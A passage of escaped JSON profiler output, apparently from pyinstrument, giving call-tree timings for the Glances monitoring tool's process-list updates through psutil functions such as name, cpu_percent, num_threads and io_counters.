0.0020003030003863387},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996626000618562, \"l680\": 0.001996626000618562},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996626000618562, \"l1593\": 0.001996626000618562},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996626000618562, \"l1740\": 0.001996626000618562},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996626000618562, \"l1593\": 0.001996626000618562},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996626000618562, \"l382\": 0.001996626000618562},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.001996626000618562, \"l1683\": 0.001996626000618562},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001997,\"attributes\": {\"l730\": 0.001996626000618562},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001997,\"attributes\": {\"l719\": 0.001996626000618562},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996920018456876, \"l382\": 0.0019996920018456876},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996920018456876, \"l1138\": 0.0019996920018456876},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996920018456876, \"l1593\": 0.0019996920018456876},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0019996920018456876, \"l1879\": 0.0019996920018456876},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001082998001948, \"l1079\": 0.004001082998001948},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004001,\"attributes\": {\"cProcess\": 0.004001082998001948, \"l1593\": 0.004001082998001948},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002001426000788342, \"l1835\": 0.002001426000788342},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200013200083049, \"l680\": 0.00200013200083049},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200013200083049, \"l1593\": 0.00200013200083049},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200013200083049, \"l1740\": 0.00200013200083049},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200013200083049, \"l1593\": 0.00200013200083049},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200013200083049, \"l382\": 0.00200013200083049},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.00200013200083049, \"l1683\": 0.00200013200083049},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.00200013200083049},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l719\": 0.00200013200083049},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987760024378076, \"l939\": 0.0019987760024378076},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987760024378076, \"l1593\": 0.0019987760024378076},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987760024378076, \"l2052\": 0.0019987760024378076},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987760024378076, \"l1593\": 0.0019987760024378076},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987760024378076, \"l382\": 0.0019987760024378076},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019987760024378076, \"l1719\": 0.0019987760024378076},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"__exit__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/contextlib.py\\u0000145\",\"time\": 0.001999,\"attributes\": {\"c_GeneratorContextManager\": 0.001999460997467395, \"l148\": 0.001999460997467395},\"children\": [{\"identifier\": \"oneshot\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000478\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999460997467395, \"l543\": 0.001999460997467395},\"children\": [{\"identifier\": \"oneshot_exit\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001732\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001999460997467395, \"l1735\": 0.001999460997467395},\"children\": [{\"identifier\": \"cache_deactivate\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000399\",\"time\": 0.001999,\"attributes\": {\"l404\": 0.001999460997467395},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"cpu_percent\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001025\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.0020001919983769767, \"l1116\": 0.0020001919983769767},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000553002289962, \"l382\": 0.002000553002289962},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001118\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000553002289962, \"l1127\": 0.002000553002289962},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000553002289962, \"l1593\": 0.002000553002289962},\"children\": [{\"identifier\": \"cpu_times\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001827\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000553002289962, \"l1835\": 0.002000553002289962},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004002677997050341, \"l680\": 0.004002677997050341},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004002677997050341, \"l1593\": 0.004002677997050341},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004002677997050341, \"l1740\": 0.004002677997050341},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004002677997050341, \"l1593\": 0.004002677997050341},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004002677997050341, \"l382\": 0.004002677997050341},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.004003,\"attributes\": {\"cProcess\": 0.004002677997050341, \"l1683\": 0.004002677997050341},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.004003,\"attributes\": {\"l730\": 0.004002677997050341},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.004003,\"attributes\": {\"l718\": 0.0020039640003233217, \"l719\": 0.0019987139967270195},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002004,\"attributes\": {\"l682\": 0.0020039640003233217},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002004,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002004,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199865300237434, \"l836\": 0.00199865300237434},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199865300237434, \"l1593\": 0.00199865300237434},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.00199865300237434, \"l1799\": 0.00199865300237434},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990189975942485, \"l687\": 0.0019990189975942485},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990189975942485, \"l748\": 0.0019990189975942485},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990189975942485, \"l1593\": 0.0019990189975942485},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990189975942485, \"l1751\": 0.0019990189975942485},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"getattr\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.002006164999329485, \"l680\": 0.002006164999329485},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.002006164999329485, \"l1593\": 0.002006164999329485},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.002006164999329485, \"l1740\": 0.002006164999329485},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.002006164999329485, \"l1593\": 0.002006164999329485},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.002006164999329485, \"l382\": 0.002006164999329485},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002006,\"attributes\": {\"cProcess\": 0.002006164999329485, \"l1683\": 0.002006164999329485},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002006,\"attributes\": {\"l730\": 0.002006164999329485},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002006,\"attributes\": {\"l719\": 0.002006164999329485},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002006,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002006,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972130030510016, \"l836\": 0.0019972130030510016},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972130030510016, \"l1593\": 0.0019972130030510016},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019972130030510016, \"l1796\": 0.0019972130030510016},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001997,\"attributes\": {\"l682\": 0.0019972130030510016},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001997,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996804000460543, \"l939\": 0.005996804000460543},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996804000460543, \"l1593\": 0.005996804000460543},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996804000460543, \"l2052\": 0.005996804000460543},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996804000460543, \"l1593\": 0.005996804000460543},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996804000460543, \"l382\": 0.005996804000460543},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.005997,\"attributes\": {\"cProcess\": 0.005996804000460543, \"l1719\": 0.001999683998292312, \"l1718\": 0.003997120002168231},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001998,\"attributes\": {\"l682\": 0.0019982049998361617},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]},{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"is_running\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000625\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001358000910841, \"l639\": 0.008001358000910841},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000313\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001358000910841, \"l314\": 0.008001358000910841},\"children\": [{\"identifier\": \"_init\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000316\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001358000910841, \"l347\": 0.008001358000910841},\"children\": [{\"identifier\": \"_get_ident\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000363\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001358000910841, \"l394\": 0.008001358000910841},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001358000910841, \"l1593\": 0.008001358000910841},\"children\": [{\"identifier\": \"create_time\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001848\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001358000910841, \"l1857\": 0.008001358000910841},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001358000910841, \"l1593\": 0.008001358000910841},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001358000910841, \"l375\": 0.008001358000910841},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.008001,\"attributes\": {\"cProcess\": 0.008001358000910841, \"l1683\": 0.008001358000910841},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.008001,\"attributes\": {\"l730\": 0.008001358000910841},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.008001,\"attributes\": {\"l719\": 0.003999333996034693, \"l718\": 0.004002024004876148},\"children\": [{\"identifier\": \"BufferedReader.read\\u0000<built-in>\\u00000\",\"time\": 0.003999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]},{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []},{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002003,\"attributes\": {\"l682\": 0.0020031739986734465},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update_processcount\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000173\",\"time\": 0.001998,\"attributes\": {\"cGlancesProcesses\": 0.00199771199550014, \"l180\": 0.00199771199550014},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]},{\"identifier\": \"remove_non_running_procs\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000676\",\"time\": 0.002261,\"attributes\": {\"cGlancesProcesses\": 0.0022607020000577904, \"l679\": 0.0022607020000577904},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002261,\"attributes\": {},\"children\": []}]},{\"identifier\": \"update_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000683\",\"time\": 0.001855,\"attributes\": {\"cGlancesProcesses\": 0.0018552320034359582, \"l689\": 0.0018552320034359582},\"children\": [{\"identifier\": \"list_of_namedtuple_to_list_of_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000587\",\"time\": 0.001855,\"attributes\": {\"l589\": 0.0018552320034359582},\"children\": [{\"identifier\": \"namedtuple_to_dict\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000582\",\"time\": 0.001855,\"attributes\": {\"l584\": 0.0018552320034359582},\"children\": [{\"identifier\": \"_asdict\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000476\",\"time\": 0.001855,\"attributes\": {\"cpmem\": 0.0018552320034359582, \"l478\": 0.0018552320034359582},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001855,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/programlist/__init__.py\\u0000148\",\"time\": 0.001886,\"attributes\": {\"cProgramlistPlugin\": 0.0018861259959521703, \"l155\": 0.0018861259959521703},\"children\": [{\"identifier\": \"get_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000704\",\"time\": 0.001886,\"attributes\": {\"cGlancesProcesses\": 0.0018861259959521703, \"l711\": 0.0018861259959521703},\"children\": [{\"identifier\": \"processes_to_programs\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000062\",\"time\": 0.001886,\"attributes\": {\"l71\": 0.0018861259959521703},\"children\": [{\"identifier\": \"update_program_dict\\u0000/home/nicolargo/dev/glances/glances/programs.py\\u000040\",\"time\": 0.001886,\"attributes\": {\"l47\": 0.0018861259959521703},\"children\": [{\"identifier\": \"__add__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000833\",\"time\": 0.001886,\"attributes\": {\"cCounter\": 0.0018861259959521703, \"l842\": 0.0018861259959521703},\"children\": [{\"identifier\": \"__init__\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/collections/__init__.py\\u0000602\",\"time\": 0.001886,\"attributes\": {\"cCounter\": 0.0018861259959521703, \"l614\": 0.0018861259959521703},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001886,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"update_views\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000658\",\"time\": 0.019997,\"attributes\": {\"cProgramlistPlugin\": 0.007997473003342748, \"l678\": 0.01799663400015561, \"cPercpuPlugin\": 0.002000793996558059, \"cProcesslistPlugin\": 0.009998440000345, \"l677\": 0.0020000730000901967},\"children\": [{\"identifier\": \"_build_view_for_field\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000631\",\"time\": 0.004001,\"attributes\": {\"cProgramlistPlugin\": 0.004001360000984278, \"l634\": 0.001998009000089951, \"l633\": 0.0020033510008943267},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []},{\"identifier\": \"_build_field_decoration\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u0000606\",\"time\": 0.002003,\"attributes\": {\"cProgramlistPlugin\": 0.0020033510008943267, \"l621\": 0.0020033510008943267},\"children\": [{\"identifier\": \"dict.get\\u0000<built-in>\\u00000\",\"time\": 0.002003,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": 